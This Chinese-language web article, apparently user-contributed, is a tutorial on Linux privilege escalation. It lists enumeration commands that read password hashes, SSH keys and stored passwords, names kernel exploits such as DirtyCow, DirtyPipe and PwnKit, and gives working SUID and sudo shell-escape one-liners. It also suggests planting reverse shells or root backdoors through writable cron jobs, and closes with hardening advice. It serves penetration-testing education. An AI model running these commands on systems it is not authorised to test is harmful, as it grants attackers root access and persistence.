首页主机资讯如何利用Linux Exploit进行权限提升

如何利用Linux Exploit进行权限提升

时间2026-01-21 10:47:04发布访客分类主机资讯浏览487
导读:Linux 权限提升实战流程 一、合规与准备 仅在取得系统所有者的明确书面授权前提下进行,限定在测试环境或授权范围内操作。 准备隔离的实验环境(如虚拟机快照)、必要的编译与传输工具(如 gcc、python3、wget/curl、nc),...

Linux 权限提升实战流程

一、合规与准备

  • 仅在取得系统所有者的明确书面授权前提下进行,限定在测试环境授权范围内操作。
  • 准备隔离的实验环境(如虚拟机快照)、必要的编译与传输工具(如 gcc、python3、wget/curl、nc),并制定回滚与取证方案。
  • 全程记录命令与输出,避免对生产系统造成不可用数据损坏

二、系统化枚举

  • 系统基础信息
    • 查看内核与架构:uname -a
    • 发行版信息:cat /etc/*-release
    • 内核编译信息:cat /proc/version
  • 用户与权限
    • 当前身份与组:id、whoami
    • 可 sudo 执行的命令:sudo -l
    • 用户清单:cat /etc/passwd;影子文件:cat /etc/shadow(通常仅 root 可读)
  • 进程、服务与网络
    • 进程与服务:ps aux、top、systemctl list-units --type=service --all
    • 监听与连接:netstat -tulpenss -tulpen
  • 文件系统与敏感信息
    • SUID/SGID 与可写目录:
      • find / -perm -4000 -type f 2> /dev/null(SUID)
      • find / -perm -2000 -type f 2> /dev/null(SGID)
      • find / -writable -type d 2> /dev/null(可写目录)
    • 历史与配置:history、cat ~/.bash_history、grep -Ri “password” /home /var/www 2> /dev/null
    • SSH 凭据:~/.ssh/id_rsa、~/.ssh/authorized_keys
  • 计划任务
    • 当前与系统任务:crontab -l、cat /etc/crontab、ls -al /etc/cron、cat /var/spool/cron/crontabs/root*
  • 自动化枚举脚本(上传后执行)
    • LinEnum、Linuxprivchecker、Linux Exploit Suggester、unix-privesc-check、LinPEAS、pspy(用于无 root 观察进程/定时任务行为)

三、常见提权路径与利用要点

  • 内核漏洞提权
    • 思路:确认内核与发行版后匹配可用 EXP,优先选择影响面明确、稳定复现的 PoC。
    • 常用命令链:
      • 版本识别:uname -a、cat /etc/*-release
      • 漏洞匹配:searchsploit linux kernel < 版本> Linux Exploit Suggester
      • 传输与编译:wget/curl 获取源码,gcc exploit.c -o exploitchmod +x exploit & & ./exploit
    • 代表性漏洞(示例):
      • CVE-2016-5195 DirtyCow:影响广泛,低权限可写只读映射,获取 root。
      • CVE-2022-0847 DirtyPipe:向只读文件写入,获取 root。
      • CVE-2021-4034 PwnKit:polkit 本地提权,影响主流发行版。
      • CVE-2019-13272:特定系统调用竞态导致的本地提权。
    • 风险提示:内核利用可能导致系统崩溃/数据损坏,务必在可控环境验证并优先选择最小影响路径。
  • SUID/SGID 滥用
    • 思路:SUID/SGID 程序以文件所有者/组权限运行,若可被诱导执行任意代码,即可“借权”。
    • 快速定位:find / -perm -4000 -type f 2> /dev/null
    • 典型场景(示例,需实际验证可用性):
      • findfind . -exec /bin/sh -p ; -quit
      • vimvim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”,“sh”,“-c”,“reset; exec sh”)’
      • bashbash -p
      • nmap(旧版)nmap --interactive!sh
  • sudo 权限滥用
    • 思路:sudo -l 列出可免密或以 root 运行的命令,组合语言解释器或可被劫持的命令实现提权。
    • 常见组合(示例):
      • sudo vim -c ‘:!/bin/sh’
      • sudo python -c ‘import os; os.system(“/bin/sh”)’
      • sudo find / -exec bash -p ;
  • 计划任务与服务配置错误
    • 思路:检查脚本是否可写、是否以 root 运行、是否使用通配符相对路径引入可被劫持的命令。
    • 快速检查:crontab -l、cat /etc/crontab、ls -al /etc/cron、cat /var/spool/cron/crontabs/root*
    • 若可写:注入反弹 Shell 或添加 root 后门(仅在授权范围内)。
  • 环境变量劫持与 PATH 滥用
    • 思路:当特权程序调用外部命令且使用相对路径可写 PATH时,放置同名恶意程序劫持执行流。
    • 排查:echo $PATH、which 、ls -la $(which )
  • 可写文件与敏感备份
    • 思路:全局可写文件(如 /etc/passwd 历史上可写时)、备份/配置文件(.bak、.conf、.config)常含明文凭据或可被替换的脚本入口。

四、从发现到利用的最小闭环示例

  • 场景示例:发现 find 设置了 SUID
    1. 确认:find / -perm -4000 -type f 2> /dev/null | grep find
    2. 利用:find . -exec /bin/sh -p ; -quit(获得与 find 所有者一致的权限,常为 root)
    3. 稳定化:在授权范围内添加 root 公钥或创建高权限账户,并做好回滚记录。
  • 场景示例:sudo 可调用 python
    1. 确认:sudo -l | grep python
    2. 利用:sudo python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’
    3. 验证:id 查看是否为 uid=0(root)

五、防护与检测要点

  • 及时更新内核与组件,修补高危本地提权漏洞(如 DirtyCow、DirtyPipe、PwnKit 等)。
  • 严格控制 SUID/SGID:仅对必要程序设置,定期审计并移除不必要的 SUID/SGID 位。
  • 最小权限的 sudo 配置:仅授予必需命令,避免使用 ALL;对解释器与可写脚本进行隔离与审查。
  • 安全的计划任务:脚本与目录最小权限,避免相对路径与通配符;任务以专用低权限账户运行。
  • 文件与目录权限治理:禁止全局可写关键目录与文件;对 /etc、/var/www、~/.ssh 等重点路径设置严格 ACL
  • 日志与监控:集中采集 auth.log、syslog、cron 等日志;部署文件完整性监控与异常进程告警(如 pspy 辅助观察可疑调度/子进程行为)。

注意:本文仅用于合规的安全测试与防护研究。任何对未授权系统的测试、入侵或破坏行为均可能触犯法律并造成损害,请务必在取得明确授权的前提下进行。

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: 如何利用Linux Exploit进行权限提升
本文地址: https://pptw.com/jishu/788477.html
Linux Exploit对系统性能有何影响 Debian SFTP如何设置端口转发

游客 回复需填写必要信息